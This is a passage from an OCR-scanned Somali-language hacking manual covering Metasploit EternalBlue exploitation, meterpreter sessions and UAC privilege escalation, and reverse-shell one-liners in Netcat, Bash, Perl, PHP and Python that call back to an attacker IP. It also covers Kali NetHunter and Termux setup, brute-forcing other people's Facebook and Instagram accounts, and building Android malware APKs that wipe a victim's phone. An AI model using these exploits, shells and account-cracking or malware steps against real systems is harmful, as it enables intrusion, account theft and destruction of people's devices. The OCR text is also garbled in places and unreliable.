dejineynaa mushaarkeenna dib u celinta_tcp haddiiba ay tahay
gadaal_https (haddii aysan ahayn uma baahnin in aan u dejinno bixinta
si ay u rogto_tcp). Kadibna waxaan fulinnaa "xulashooyinka show" oo

waxaan hubinnaa xuduudaha walaaca sida aan hoos ku arki karno.

515 exploit(windows /smb/ms17 010 eternalblue) > set payload windows/x64/meterpreter/reverse _tep
payload = windows/x64/meterpreter/reverse tcp

fS exploit(windows/smb/ms17 010 eternalblue) > show optiens
Module options (exploit/windows/smb/ms17 010 etermalblue):

Name Current Setting Required Description

RHOSTS yes The target host(s). range CIDR identifier, or hests file with syntax ‘filer<path>’
RPORT 45 yes The target port (TCP)

SHEDomain . no (Optional) The Windows demain to use for authentication
SHEPass no (Optional) The password for the specified username
SHBUs e r no (Optional) The username to authenticate as

VERIFY_ARCH true yes Check if remote architecture matches exploit Target,
VERIFY_TARGET true yes Check if remote 0S matches exploit Target,

Payload options (windows/x64/meterpreter/reverse tep):

Name Current Setting Required Description
f5 exploitiwindows/smb/ms17 010 cternalblue) > |

Xuduudaha dhexdiisa, waxaan ku arki karnaa doorsoomaha loo yagaan
RHOSTS. RHOST waa inuu kujiraa cinwaanka IP ee dhibanaha (horeyba

waan u ogaanay inuu kani yahay 192.168.0.181).
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Kiiskeyga waa inaan u dejiyaa LPORT wax kale maxaa yeelay ka
faa'iideysiga kuma shageynin dekedda asalka ah ee ay dejisay
Armitage. Marka waxaan dhigay LPORT-kayga 4444. Waad u dejin
kartaa wax kasta oo shageynaya illaa iyo inta aysan ahayn deked gaar

ah sida FTP. Ka dib markii aan dejinno xuduudaha, waxaan si fudud u

shageyneynaa ka faa'iideysiga.

mst5 exploit(windows/smb/ms17 010 eternalblue) > set LPORT 4444

LPORT => 4444
msf5 exploit(windows/smb/ms17 010 eternalblue) = exploit

Haddii isticmaarku guuleysto, fadhiga turjubaanka cusub waa inuu
furnaadaa. Haddii kalfadhi furmo, waxaan arki doonnaa in sawirka
martigeliyahayaga qeybta kore ee midigta oo caadi ahaa ka hor, u

beddelayo sawir muujinaya in nidaamka la jabsaday.
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Maaddaama kalfadhiga mitirku uu furan yahay hadda, si loo socodsiiyo
wax kasta oo mitir-tarbiye ah, waxa kaliya ee aan u baahanahay inaan
sameyno waa inaan si sax ah u gujino sawirka dhinaca kore ee midig oo
si fudud u riix wax kasta 0o aan dooneyno inaan sameyno. Xaaladdan
oo kale waxaan u aaday gaybta "explore" oo waxaan ku dhuftay

"Browse Files".

-
D &

T O I

Si loo furo diiwaanka loogu talagalay LCEs, waxaan aadeynaa Qeybta
Meterterter-ka adigoo gujinaya midig. Tag “Access” oo dhagsii

“Escalate Privileges”.
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192. 16 s - Escalate Privileges

TKSHX i At Steal Token
v 'S = (! a
St pPump Hashes
Persist

Pags Session

Sida aan u aragno galka /exploit/windows/local ah ayaa lagu soo
bandhigay qaybta bidix ee kore. Waxaan isku dayeynaa sida ugu badan
ee UAC uga faa'iideysano si aan u helno mudnaan gaar ah. Si loo
socodsiiyo ka faa'iideysi maxalli ah, waxa kaliya ee aan sameyno waa
inaan laba-gujineynaa ka-faa'iideysiga gaybta bidix ee kore iyo soo-
muugashada ayaa u muugata sida hoos ka muugata Waxaan u dejinay
"Bartilmaameedyada" illaa 1-> maadaama nidaamkeenna VM uu ka

kooban yahay 64 dhisme dhisme ah.
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Marka si loo abuuro kalfadhi cusub 0o aan ku soconno mudnaan sare,
waxaan socodsiinaa windows/local Weydiiso ka faa'iideysiga waxaan si

fudud u gujineynaa bilawga sida ay tahay.

windows/localfask - 0O X
Windows Escalate UAC Execute Runis
This module will attempt to elevate execution level using the ShellExecute
undocumented RunAs flag to bypass low UAC settings.
Option 4 | Value |
DisablePayloadHandler true [
EXE::Custom +
ExitOnSession false
FILEMAME #
LHOST 192.168.1.11
| BiNBRT AA0NT ¥
Targets: |0 == Windows _J
|| Show advanced options

Launch

Waan arki karnaa ka dib markaan orodno ka faa'iideysiga, waxaan
helnay kalfadhi kale oo mitir leh mudnaanta maamulka Si aad uhesho
kulannadan, waxa kaliya ee aad u baahan tahay inaad sameyso waa ku
gor "back" taas oo kuu wareejinaysa shaqaaleeyaha badan.
Maaddaama xaaladdan kal-fadhiga maamulka loo tiriyo "2", waxaan

wadnaa amarka "sessions -i 2" si aan u galno kal-fadhiga sare.
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PAYLOAD windows meterpreter/reverse_tcp
se_tcp
set LPORT 30907

selt SESSI0N 1

set ExitOnsession false

set DisablePayleoadHandler true

> exploit -j
nd job &.
ot ena ’ prompt Tor the user
] ing UnejTHADDZAM.exe - 73607 bytes to the filesystem...
*] EXe&d |I1‘i.||-:| Command !
*] Meterpreter sessiom 2 opened (192, 168.1.11:30907 -= 192,168, 1.8:49350) at 2020-06-26 03:31:14 -0400

Netcat

Netcat waa shabakad ka faa'iideysan karta oo wax u akhrin karta waxna
u qori karta labada dakadood ee UDP iyo TCP. Had iyo jeer waxaa loo
yagaan 'mindida’ Ciidanka Switzerland ee qalabka jabsiga maxaa yeelay
waxay sameyn kartaa dhowr waxyaabood oo ah macmiil iyo server
labadaba inta lagu gudajiro dhacdooyinka jabsiga. Waxaan badanaa u
adeegsan doonnaa si aan u abuurno qolof isku xir ah oo gadaal u rogaya
warbixinnada si aan u aragno waxa dhacaya una dirno faylasha
mashiinnada dhexdooda. Shell waa hab aad kula macaamili karto
kombiyuutarka sida amarka degdegga ah ee Windows ama terminalka
Linux. Netcat wuxuu noo ogolaanayaa inaan qabano waxyaabo badan
sida khaanadaha gadaal, si aan ula xiriirno inta u dhaxeysa labo amain

ka badan kombiyuutar, waxayna kuu suurta gelin doontaa inaad gabato
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hawlo fara badan. Netcat wuxuu awood u leeyahay inuu Port Scan ku
xirnaado dekedaha furan isagoo adeegsanaya doodo fudud oo amar ah.
Waxay sidoo kale awood u leedahay dirista feylasha iyo bixinta

maamulka fog iyada oo loo marayo qolof toos ah ama gadaal ah.

Isticmalka Netcat

Hadaba netcat waxa loo isticmala inaad laba cumputer ku isticmashid

lakiin inaku waxaan eegayna sida revers-engnering loo gu isticmalayo

Siloo dejiyo qolof Netcat ah waxaan u baahanahay inaan raacno

talaabooyinka soo socda:

e Diyaarso dhagayste Netcat ah.
e Ku xirnow dhagaystaha Netcat ee martida bartiimaameedka ah.

e Ka soo saar amarrada bartilmaameedka martida ee sanduuga

weerarka.

Marka hore waxaan ku dhejineynaa dhageyste Netcat sanduuqa

weerarka oo ka dhageysanaya dekedda 4444 oo leh amarka soo socda:

nc —lvp 4444
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Inta aan ka soo saarayno amarka soo socda ee martida
bartilmaameedka ah si aan ugu xirno sanduuqayaga weerarka
(xusuusnow inaan ku hayno koodh fog oo remote ah sanduga ama vm
box)

For Linux:

nc 192.168.100.113 4444 —e /bin/bash
For Windows:
nc.exe 192.168.100.113 4444 —e cmd.exe

Sanduuga weerarka waxaan hadda ku haynaa qolof bash ah oo ku taal
bartilmaameedka martigaliyaha waxaanan si buuxda gacanta ugu
haynaa sanduugan marka loo eego koontada bilawday qolofka gadaal.
Xaaladdan oo kale isticmaalaha asalka ahi wuxuu bilaabay golof taas oo
macnaheedu yahay inaan ku leenahay mudnaanta xididdada

martigeliyaha bartilmaameedka.

root@target: ~ - (=}

File Edit View Search Terminal

00

Help

root@attacker: ~

File Edit View Search Terminal Help
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Daagada sare ee qoraalka konsol-ka cagaaran ayaa ah
bartilmaameedka martigaliyaha isla markaana geybta hoose waa
sanduuga weerarka. Sida aan arki karno waxaan ka helnaa xidid ka soo
weeraraha 192.168.100.113 bartilmaameedka martigelinta

192.168.100.107.

Mid ka mid ah hoos u dhaca weyn ee tusaalaha tusay ayaa ah inaad u
baahan tahay Netcat oo ku aaddan martigaliyaha bartiimaameedka
taas oo inta badan aan ahayn kiiska dhacdooyinka adduunka dhabta ah.
Xaaladaha gaarkood Netcat wuu joogaa, ama waxaan leenahay hab aan
ku rakibo, laakiin xaalado badan waxaan u baahanahay inaan
adeegsanno qaabab kale oo aan dib ugu xirno sanduuqa weerarka.

Aynu eegno dhowr siyaabood oo kale oo loo dejiyo qolof gadaal ah.

Bash reverse shell : lyada oo waliba loo isticmaali karo Bash si aad
uga bilowdo qolof ka soo horjeedda bartiimaameedka illaa sanduuqa

weerarka adoo adeegsanaya amarka soo socda:

bash -i >& /dev/tcp/192.168.100.113/4444 0>&1

Perl reverse shell : Haddii Perl uu joogo martidaas fog waxaan sidoo

kale bilaabi karnaa qolof gadaal u adeegsan kara Perl. Orod amarka soo

socda ee martida bartilmaameedka ah si aad u dejiso qolofka gadaal:
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perl -e ‘use
Socket;$i=192.168.100.113";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,so
ckaddr_in($p,inet_aton($i)))){open(STDIN,”>&S”);0pen(STDOUT,”>&S”);0pen(STDERR,”>&S”);exec(*“/bin/sh -
i”):}

root@target: ~ = G

File Edit View Search Terminal Help

]+ [

root@attacker: ~
Edit View Search Terminal Help

PHP reverse shell : Marka PHP uu joogo martigeliyaha

waxyeelleeyey, oo inta badan ku dhaca webservers, waa bedel weyn
Netcat, Perl iyo Bash. Aynu u adeegsanno koodhka soo socda si aan ugu

isticmaalno PHP qolofka gadaal ee sanduuqa weerarka:

php -r ‘$sock=fsockopen(“192.168.100.113”,4444);exec(“/bin/sh -i <&3 >&3 2>&3”);’

Python reverse shell: Python sidoo kale waa luugad badanaa lagu
rakibay mashiinnada Linux. Amarka soo socdaa wuxuu soo saaraa qolof

gadaal ah iyadoo la adeegsanayo Python:
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python -c ‘import
socket,subprocess,0s;s=socket.socket(socket. AF_INET,socket. SOCK_STREAM);s.connect((“192.168.100.113”,4444
));0s.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i"]);’

root@target: ~ - O

File Edit View Search Terminal Help

root@attacker: ~

File Edit View Search Terminal Help

Netcat Bind Shell

Sidii aan horeyba ugu soo sheegnay barnaamijkan loo yagaan 'Hacking

with Netcat Tutorial' golof qolof ah ayaa ah qolof ku xirta deked gaar ah
oo ku taal bartilmaameedka martida si loo dhageysto isku xirnaanta soo

socota. Aynu eegno aragtida muuqaalka qolof Netcat ah:

Muugaalkaan hadafku wuxuu ku xirxirayaa qolof Bash dekedda 4444
iyadoo la adeegsanayo dhageyste Netcat ah. Weeraryahanku wuxuu ku
xiraa dekeddan adoo adeegsanaya amar fudud oo Netcat ah.

Tallaabooyinka lagu dejinayo qolof isku xidhan waa sida soo socota:

e Ku xir golof balash ah dekedda 4444 adoo isticmaalaya Netcat.
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e Ku xirnow martigaliyaha bartilmaameedka dekedda 4444

sanduuga weerarka.

e Ka soo saar amarrada bartilmaameedka martida ee sanduuga

weerarka.

Netcat Bind shell
Attackbox Target
192.168.1.1 192.168.1.2

TCP connection port 4444

www.hackingtutorials.org

nc 192.168.1.2 4444 nc -lvp 4444 -e /bin/sh
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Nakhtin guud 2

wow!! ila halkan baad soo gadhay tasi waa dadal imkika waxaan filaya
inaad kali iyob tools ga ku yira aad la gaabsatay baal aan yara mura

jacayno:

e kali linux waxa uu leeyay khanad ku qoraantahay aplications taso

aad ka helaysid galabyaso oo kala duwaan oo leh u jeedooyin gaera

e wifi hacking waa khanada ay ku jiraan galaabyada loo gutala galay

in wifi ga lagu jabiyo waxaka mida aircrack-ng

e password iyo hash waa dhanka hackerka anshaxaysan waa muhiim

sabatoo ah waa ilaliyahaga koobad

e hash waa crptograpy kaso noocyo kala duwan ah sida

base64 ,hexdecemal iwm
e hash cat waa alada oo gu awooda badan ee hash craking

e curinta networku(NETWORK SNEEPHING) waa inaad gofka iyo
internet ga dhexdiisa fadhisata ado isticmalaya wireshark,ettercap
WM
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e internet gu waxa uu leyay protocolo aad u bada oo midkasata leeya

u jeedo gara

e buug boonty ama hunting waa inaad code ka eegta bug oo lacag

lagugu siyo
e burp suit waa alada proxy ah oo mamuli karta website ga

e social engenering waa inaad halkaad alada ka hacking lahayd aad

dadka hacking garaysa

e phishing attack waa inaad gofka ku khiyamaysa sii oo ga fulatid

dantada

e expliot waa alada oo la gala ama inaad ka isticmali kartid computer

kaga ado sidad doon tid ka yeelaya

e METASPLOIT waa alada oo gu awooda badan ee kali linux wana
expliot database oo loo gu tala galay wararo kala duwan waxa xita
isticmala proficonal sida NSA CSI IBM



CHAPTER: 3
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chapter 3

Mobilkaga Ka Dhig
Qalb Hacker

Cutumkan waxa ku wadagi doona sida loo ga dhigo mobilka alad hacking
ama galb hacker hada ba waxaad u bahantahay mobil root garaysan ha
root la aan ma shagaynayo iyo mobil maskax disu tahay ila 10GB iyo 4GB

ram.
Hadaba laba gaab ayaan oga dhigi karna labadaso ah:
1 nidaad gabig mobilka badashid oo isticmashid kalil nethunter

> inaad khaliya TERMUX ku soo shubatiid terminalka andiriodka kaso
aad ku isticmali kartid adigo ROOT garay mobilkaga (habka ugu
fican))
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Kali nethunter ku shub mobilkaga

Hadaba laba qab ba loo gu shuban kara inaad img giis ku falash garaysid
ama inaad termux ku shubatiida ha hada ba waxaan eegayna sida loo gu

shuban kara loo gu flash gareeyo

Ka soo degso sii deynta rasmiga ah ee Kali NetHunter qalabkaaga
https://www.offensive-security.com/kali-linux-nethunter-download.
Faylka la soo dejiyey waa in la sifeeyaa. Hubi inaad xaqiijiso giyamka
hash ka hor intaadan bilaabin. Haddii giimaha hashku uusan u dhigmin,
ha isticmaalin. Haddii aad jeclaan lahayd inaad abuurto gaab
dhismeedka Kali NetHunter, fadlan ka eeg Dhismaha Kali NetHunter gayb
galab gaar ah leh.

e Fur galabkaaga Android. Markaad rakibineyso Kali NetHunter
galabka Android, rakibaadda waxay ka dhaceysaa dusha sare ee
nidaamka hawlgalka Android. Fadlan hubi in darawalada Android
ee lagama maarmaanka ah lagu rakibo laguna hagaajiyo
kombiyuutarkaaga ka hor intaadan fulinin tallaabooyinka soo
socda. Si tan loo sameeyo, hubi inaad haysato nuqul ah Android
Studioin lagu rakibay kombiyuutarkaaga. Software-kan waxaa laga
heli karaa athttps: //developer.android.com/studio. Istuudiyaha
Android wuxuu hubin doonaa in wadayaasha galabka si fiican loo

rakibay oo ay iswaafajin karaan.
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. Qalabkaaga u deji habka Developer. U gudub Goobaha | Ku

saabsan oo taabo lambarka Dhismaha dhowr &

Developer options

jeer illaa aad ka aragto ogeysiis sheegaya in 6 ®

gaabka soo-saaraha la shageeyay. OEM urlodking

Allow the bootloader to be unlocked

e Tag setinka | Fursadaha horumariyaha iyo Running services

View and control currently running services

awood u siinta labadaba dib-u-hagaajinta iyo

Advanced reboot

dlb_u_hagaajinta Android: When unlocked, reboot will offer the .

options to reboot normally, into recovery,
or fastboot

Debugging
USB debugging 7 o
. deld qalabkaaga (oo ku habboon Nexus |y0 Debug mode when USB is connected
OnePlus). Haddii aad isticmaaleyso eyisisBideiuadingiaifineneilone
Nexusdevice, waad isticmaali kartaa Qalabka [t S
taking a bug report
'Root Toolkit'

(http://www.wugfresh.com/nrt/). Qalabka xididka waa anall-in-
onetool loogu talagalay rakibida darawallada galabka, furitaanka

bootloader galabka, iyo rakibidda soo kabashada caadiga ah

sidaTeam Win Recovery Project 3 news foot tookitva1 = X
Options Update Help
(TWRP): e eI
Your model type Initial Setup
Nexus 9

Full Driver Installation Guide - Automatic + Manual
HTC Wi-Fi Tablet

Android 7.0.0 NRDSOR

= Unlock Bootloader Restore/Upgrade/Downarade
ange
Unlock Flash Stock + Unroot
e Xulo xulashada Mudanayaasha , |
Backup + Restore This will wipe your device Curment status
. . so make a backup first (®) Soft-Bricked/Bootlooy
Hore, Tilmaamaha Rakibaadda B e R
. Restore
Darawalnimo Buuxa, 0o raac L Roc Rk Boooder
Root OEM Lock
S a a Xi r ra ki b a ya a S h a it And also flash After flashing stock, use this to

Launch fully retum to factory settings

Custom Recovery

o Fur bootloader-ka haddii

Please Donate Help and support is greatly appreciated. Thank you!

galabkaagu aanu furin. Nidaamkani wuxuu tirtiri doonaa
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galabkaaga oo dhan. Fadlan hubso inaad abuurto nuqul

galabkaaga ka hor intaadan fulinin tallaabadan.

e Aynu rujinno galabkaaga Android. Guji xididka. Haddii aad
isticmaaleyso Nexus, waxaad ku arki doontaa sanduuga
shaashadda shaashadda ku xigta Custom Recovery, hubi inaad

doorato.

e (Qalabkaagu si toos ah ayuu dib ugu bilaabi doonaa. Si loo hubiyo in
galabkaagu si guul leh u xididaysan yahay, waa inaad ku dhex
aragtaa menu-ka qalabkaaga astaan / barnaamij cusub oo loo
yagaan SuperSU. Furitaanka barnaamijka ayaa xagiijin doonta

xaaladda aaladdaada, in xididka la siiyo iyo inkale.

Tag dukaanka Google Play oo rakib barnaamijka BusyBox:

< Google Play Q 3

—_— BusyBox

m Stephen (Stericson)
L 4
Tools
INSTALL

4.2 % B A ) 10l

155K reviews 2.3 MB Everyone & Down

The fastest, most trusted, and #1 BusyBox installer
and uninstaller!
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Ku rakib barnaamijka TWRP Manager. Waxa kale oo aad ku rakibi
kartaa TWRP adoo isticmaalaya APK soo degsan kara https://twrp.me

(<) W .4d.4985 954

< Google Play Q

TWRP Manager
(Requires ROOT)
Jmz Software

Tools
INSTALL

Contains ads ® In-app purchases

4.0 % a |

34K reviews 42 MB Everyone ®

SOFTWARE

Backup, Restore, Install ROMs and Recoveries.

Read more

Marka labada codsi la rakibo, fur mid kasta si loo hubiyo inay si fiican u
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shageynayaan. Haddii rukhsad superuser loo baahan yahay, si fudud u

dooro deeq ama u oggolow.

e Nuqul sawirka Kali NetHunter oo ku dhaji galka asalka galabka.

Waa waqtigii lagu rakibo soo kabashada caadada.

e Fur barnaamijka Maamulaha TWRP oo xulo Nidaamka Soo-
kabashada si aad ugu rakibto ikhtiyaar. Si aad u bilawdid rakibida,
dhagsii rakibida rakibida.

e Dib ugu celi qalabka xulashooyinka la bixiyay:

Team Win Recovery Project
3.0.00

Install

Restore

Settings

Advanced Reboot
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Hadaba markaad mobilka shid ayaad arki doonta inaad isbadalay oo

gabkan noqoday :

TUE, JUNE'Y -V

{
iy =I5k

tl " ]
Lt A " '55°1105°

N-—L]

o " P

Camera Gallery Apollo Movie Studio

1T LK

Settings Browser NetHunter Home
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TERMUX la soo dag

Termux waa emulatorka terminal-ka Android iyo
barnaamijka deegaanka ee Linux oo si toos ah ugu
shageeya iyada oo aan loo baahnayn xidid iyo dejin.
Nidaamka ugu yar ee aasaasiga ah ayaa si otomaatig

ah loo rakibay - baakado dheeri ah ayaa la heli karaa

iyadoo la adeegsanayo maareeyaha xirmada APT.

e Aamin. Soo gal server-yada fog adigoo adeegsanaya macmiilka ssh
ee OpenSSH. Termux wuxuu isku daraa baakadaha caadiga ah ee

jilitaanka saxda ah ee xalka il furan oo qurux badan.

e Feature buuxiyey. Qaado inta udhaxeysa Bash, kalluun ama Zsh iyo
nano, Emacs ama Vim. Ku xaji sanduugaaga SMS. Soo gal dhibcaha
API ee leh curl oo isticmaal rsync si aad ugu kaydiso keydka liiska

xiriiriyahaaga server fog.

e La goyn karo Ku rakib waxaad rabto adoo adeegsanaya nidaamka
maareynta xirmada APT ee laga yagaan Debian iyo Ubuntu GNU /
Linux. Maxaad ugu bilaabi weyday rakibidda 'Git' iyo isku-duwaha
'dotfiles'?

e Qarxin karo. Weligaa bas ma ku fariisatay oo ma isweydiisay si sax
ah doodaha daamku aqgbali karo? Xirmooyinka laga heli karo
Termux waxay la mid yihiin kuwa ku jira Mac iyo Linux - ku rakib
boggaga nin taleefankaaga oo ku agri hal fadhi adigoo tijaabinaya

mid kale.
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e lyadoo baytariyada lagu daray. Miyaad qgiyaasi kartaa xisaabiyaha
jeebka ka xoog badan laakiin ka xarrago badan qalabka wax lagu
akhristo ee loo yagaan Python console? Noocyada casriga ah ee

Perl, Python, Ruby iyo Node.js dhammaantood waa la heli karaa.

e Diyaar u ahin kor loo gaado Ku xir kumbuyuutarka kumbuyuutarka
oo ku xir galabkaaga muujinta dibedda haddii aad u baahatid -
Termux waxay taageertaa toobiyeyaasha kumbuyuutarka waxayna

leedahay taageero jiir oo buuxa.

e Tinkerable. Ku kobci adiga oo isku duba ridaya faylasha C ee leh
'Clang' kuna dhis mashruucyadaada CMake iyo pkg-config. GDB iyo
xarig labadaba waa la heli karaa haddii aad ku dhegto oo aad u

baahato inaad wax ka saarto.

Hadaba kala soo dag pystorka ama https://termux.com

What's new

Your review

=

s

MR . Yahye Abdirahman

Developer contact

About this app

| emulator and Linux environment
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hadaba waxaan eegayna sida loo gu soo shubto kali nethunter termux

marka oo gu ter mux update gare ado isticmalaya amaradan

kadib markaad inta galisid lasoco na waa wada small letter ama xuruf

yarya ,waxaad samaysa amradan kali si kali nethubter kugu soo dago

melaha waxa uu qadanaya 3-6 sacadood kadib shashada termux waa

inaay sidan nogota
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kadib gali waxad galisa amarkan soo socoda si aad u isticmashid

Xasusnaw: hadu amarkani shagayn wayo waxay ka dhigan tahay inaad

sifican ku soo dagin.

Kadib sidi cumputerka ka dhig adoo isticmalaya vnc viwer kala soo dag

play store kadib amarkan gali

intan gali vnc viewer markaad badhanka akhtarka galiso:
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New connection

Addross
localhostd
Marng

Kalilinuz, In

-

& Kalilinuedn | kalilinux.in L
q ow e ot y u i o p
a s df gh j k|
Sz xcovbnm &
nzm 0@ e

L L | | |

kadib waxaad arkii natijadan :

X 0

[ Hie Manager
(Z) Mail Reader
(@) Web Browser

] settings ¥ | [a# settings Manager
* b [B] Accessibility
B muttimedia » | @ Appearance
& System 85 Desktop
About Xfce ) Display

Flle Manager
[ Loo Ouf

s Keyboard
]
@ MIME Type Editor

8¢ Mouse and Touchpad

& Aceessories

L Netifications.

[ Panel

& preferred Applications

[ Removable Drives and Media
Session and Startup

3 settings Editor

= Window Manager

[37 Window Manager Tweaks
B workspaces
(@ xrce Terminal
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Qurxintada termux

hadaba waa inaas ku qurxiso
termux gqurxin2.0 taso anigu aan ka
soo shagayay dabagalka inatan gali

si aad ugu soo shubatiid maradan

gali

pkg install git python mpv figlet -y

pip install lolcat

git clone https://github.com/fikrado/qurxin
cd qurxin

chmod +x *

sh install.sh

kadib ka bax oo dib usoo gal ama gali termux exit

ka dib waxa uu nogonaya sidan sawirka ka muqata
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00:4 >m ¥
Created By Yahye Abdirahman

—[ yahye@ter /fikrado.py]
> s
fikrado.py PicsArt_09-11-08.26.12.3pg

rado.
LICENSE README . md
login.txt  Yahye.3pg

ESC / — CTRL T ALT PGUP mm
HOME END & G 1 — PGDN &

® < O (C3) ©

VASLISAGASISATREIE 1D

% B (£ (4 B (A (D) (A8 (@)
CHRH 3 9 ) BT (] i o p
e v ot S C ( )
a'/llsiid/iENg/lh il [3 1

< 72 B4 (=) (878 oY (Tel) Le)

23 ®

Sida loo gu jabiyo social media da mobile ka

Hadaba waxaan eegayna sida social mediada loo gu jabiyo mobile ka
hadaba termux ayaa ku eegi doona madama kali nethunter dadku ku
shuban badana, lakiin waxaad la socota inaad toolashan github aad ku

isticmali kartiid
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Facebook hacking

Hadaba waxaan egayna

sida loo jabiyo facebook EIKRADO HACKER
marka u gu horaysa la Facebook hacking script with

out password list created by
soo dag toolkay python2.7

. OhtI:psngthub.cnrn/flkradn/l'lkrado.pg
facebook hackinga

Q

Hadaba waxa uu ku waydinaya in aad facebook ga ku gashid
marka waxaad galisa facebook acount oo anad isticmalin sabato

ah facebook ayaa kugu fahmaya oo uu kaxidhaya

marka id waa facebook id ga waxaad ku ogaan karta inaad sawir

sawiradad ka mida dultagto oo copy siso linkigiisa si da sawiraka
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book Bug Bounty @ 2 ‘/ /

Hacker Plus

=5 View post

nkel, Security Engineering Manager...

@ View album

&—TFurn-an notifications for this
\

Hacker Plus

. gt ]
hK O 1K A 1K & COPYJSL/ e

https://www.facebook.co 11894925671/,

posts/980683189004836/?app=fbl

kadib id gaga soo gaad oo waxaad samaysa inaad digtid meesha
idga passwordka gali hadu islamarkaba ka xidho facebook ha
walwalin ee passwordkaga badal soo nogo kadib nuber 1 doro

markay ku soo baxdo sidaad sawirka ku aragto :
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ka dib waxaad arki soo ta 4 qaab oo tulka u isticmali kartiid
marka waa inaad ka dooratiid mid lakiin anigu waxaan doranaya

no 2 sabab to ah waa ka oo gu awooda badan oo dhowr gof ka

jabin kara marka sidanbaad arki doonta oo dhawar qgofbu ka
jabinaya oo id ahaan ayu ku soo dirayaqgofka gu soo saaraya

dhankii emailka iyo numberka oo waad ku login garayn karta
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Hadaba waxaad halka ku aragta inaad dhawor gof ka jabiyay

toolkuna noocasu u shaqgeeya.

Sida facebook acount si toos loo gu jabiyo

Hadaba burtal force ayaanku eegayna sida loo gu jabiyo facebook ama

gof si too sa marka waxaan isticmalayna joker burutal force tool

marka marada kula soo dag

kadib waxaad ubahanaysa id ga
tarked kaga sidii tool kii hore oo
kale u soo hel id ga targerga oo
sawirkiisa copy kadib waa nubarka
1000 ku bilaab ma word list waa u

bahan tahay marka waxaad la soo

dagta fikrado.txt gali amarkan :
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git clone https://github.com/fikrado/fikrado.txt

markaad intaas galiso waa inaas galisa khanada sare galisa id

bartiimaameedkaga khanada hoose na in tan gali

Isada instagram loo gu jabiyo si toosa

hadaba waxan

Hadaba waxaan eegi doona sida instagram loo gu jabiyo termux marka

github kayga aya jira tool aan ogu tala galay gabkan ku soo dagso

markaad intaas galiso waa inaas galisa khanada sare galisa id (tusale:

@fikrado ) bartilmaameedkaga khanada hoose na in tan gali


https://github.com/fikrado/instagram-brutalforce-tool
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Sida wireshark loo gu soo shubto termux

waxan filaya inaad ka dharg san tahay wireshark waxa uu yahay ee aan
eegno sida loo so dagsado ano isticmalayna termux marka amaradan

gali:

pkg install x11-repo wireshark-gtk xterm tigervnc tigervnc-viewer -y

haddaba waa inaanu kala dhig dhigno Tigervnc si aan u carar sino ee

gali amarka vncserver

Haddii ay tahay markii kuugu horreysay ee aad amarkan socodsiineyso
markaa waxay ku weydiin doontaa inaad gasho lambarka sirta ah ee
VNC. Waad gali kartaa lambar kasta oo aad rabto. Laakiin waa inaad

xasuusataa erayga sirta ah ee aad qorto.

Si arjiga GUI u adeegsado muujinta, waa inaad ku hagaajisaa isbeddelka

deegaanka amarka export DISPLAY=":1".
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hadda tallaabada ugu dambeysa, waxaan u baahannahay inaan rakibno
cod-bixiye VNC fog oo desktop ah oo loogu talagalay android. Daawade
VNC wuxuu naga caawin doonaa inaan ku shageyno Wireshark gaabka
GUI. Waxaad si fudud ugu soo dagi kartaa VNC viewr Google Playstore

Caadi ahaan server-ka VNC wuxuu dhagaystaa localhost-ka sida

127.0.0.1 iyo 5901 dekedda.

Goobta Cinwaanka ku dar: 127.0.0.1:5901

lyo magaca garoonka, waxaad ku dari kartaa wax kasta oo aad

jeceshahay tusaale ahaan Termux, Desktop, Wireshark iwm.
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Ka dibna dhagsii abuur. Taas ka dib, waxaa laguu dallacayaa inaad ku
darto lambarka sirta ah. Hada ku qor lambarka sirta ah ee aad qortay

wagqtiga qaabeynta serverka VNC.

Hadda si guul leh ayaad isugu xiran tahay. Waxaad ku arki doontaa
terminal-ka daawadeyaasha VNC si fudud u qor amarka soo socda ee
VNC si aad u maamusho Wireshark:

wireshark-gtk

Nl B 4° ..l 1oo% A 19:39

View Go Capture Analyze Statistic

Interface List Open
Live list of the capture interfa, na prr\mml,/ captured file
(counts incoming packets) qukhQCkerworla
Open Retem
‘ Start
Choose one or more interfaces to capture from, then Start s Sample Captu res

v .
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Sida john the ripper logu shubto termux

hadaba waad ka dhargsan tahay
inu john uu yay toolka password ka [lilaRiERIelel:s

L Tool on Android
lagu jabiyo ee cansan marka aan
eeg no sida loo gu soo dag sado

termux ,amaradab gali

q w e r t yuwui op

o sl cls Bf Mgl WA [Pyl dicd MK

4 : X ¢ v b nme€e

7223 © § = <
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Marka hadad s galiso waxaad arki doonta qalaabyada oo dhan sida

zip2john

Sida sql map loo gu soo shubto termux

ma ogtahay inaad sql injection ku samayn kartiid termux ha web site

baad termux ku jabinkarata marka amaradan gali:
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= .l 80% M 4:52 PM

attacking targets without prior mutual consent is illegal. It is
all applicable localegetate cnd fodae ol lowe __Dorolonars assume no
Example:
| test it on my website

[!] legal disclaimer: Usaj lmap fo without prior mutual consent is illegal. It is
the end user's resp all applicable loc state and federal laws. Developers assume no

liability and are not r ponsible fur'anf misuse or damage caused by this program

[*] starting at 16:52:17

waka hadaba sql injection ayaad ku samayn karata wep site kasta

Sida virus loogu smaeeyo termux

Hadaba waxaan egayna sida loo sameyo virus aad ku xumayyn kartid
mobile kale oo formate garayn kara hadaba sida aad oo la soo dagtid

amaradan gali :

git clone https://github.com/d3L3t3dOn3/Malicious
cd Malicious

unzip Malicious.zip

cd Malicious

pip2 install mechanize

pip2 install requests
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pip2 install -r requirements.txt

chmod +x *
python2 malicious.py

O, Gl e e

] Agent

] Badnews

] Bios

] BlatanSMs
] BrainTest
] Claco

] DropDialer
] FakeBank

] FakeCMCC

] FakeDoc

] Fakevalidation
] Fobus

] GinMaster
] Masnu

] Elite

] Omigo

] Opfake

] SmsWorker

] Vietcon

] Candycorn

] Cat

] Chistescortos
] Chistespicanticos
] ComFunnys

] ComImagePets
] ComKitchen

] ComLaughtter
] Prasesamor

SIER - IR R

] Prasesfee

] RecipeSmart
] Romaticpos
] Statetss

] Thinking

] Crd

] Dendroid

1 Ds

] Facebook

] Fakeav

] ArtStation
] MusicPlayer
] Settings

] Back

% @1:17 PM

nput Number > ]

hadaba ka dooro magaca virus gaga kadib (tusale number 1 agent)

markaad dorato sidan u gee file ka dawon loadka mv agent.apk
/storage/emulated/o/ hadaba file ah agent.apk ama magac kalo aad
dorata ayaad arki oo ablicationa ama .apk racsan yay (markaad mv

agent aan galiya waxan raciyayb .apk)

Metaspliot ku soo shub termux

Siloo rakibo Metasploit-Framework-ka TermuX, si taxaddar leh u gal

